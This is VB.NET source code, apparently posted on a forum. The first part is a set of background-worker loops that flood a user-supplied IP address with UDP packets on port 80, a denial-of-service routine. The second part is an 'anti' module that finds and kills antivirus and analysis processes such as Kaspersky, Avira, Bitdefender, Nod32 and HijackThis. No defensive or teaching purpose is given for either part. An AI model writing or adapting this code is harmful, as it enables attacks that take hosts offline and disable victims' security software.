Private Sub BackgroundWorker28_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker28.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker29_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker29.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
Private Sub BackgroundWorker30_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker30.DoWork
Do
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, "80")
bytCommand = Encoding.ASCII.GetBytes(dosip)
udpClient.Send(bytCommand, bytCommand.Length)
Loop
End Sub
End ClassModule anti:
Code:
کد:
Module anti Sub killall()
Dim local As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To local.Length - 1
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase("av") Then 'Avira
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("hijackthis") Then 'hijackthis
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
local(i).Kill()
End If
End If
End If
End If
End If
End If
End If
End If
End If
Next
End Sub
End Module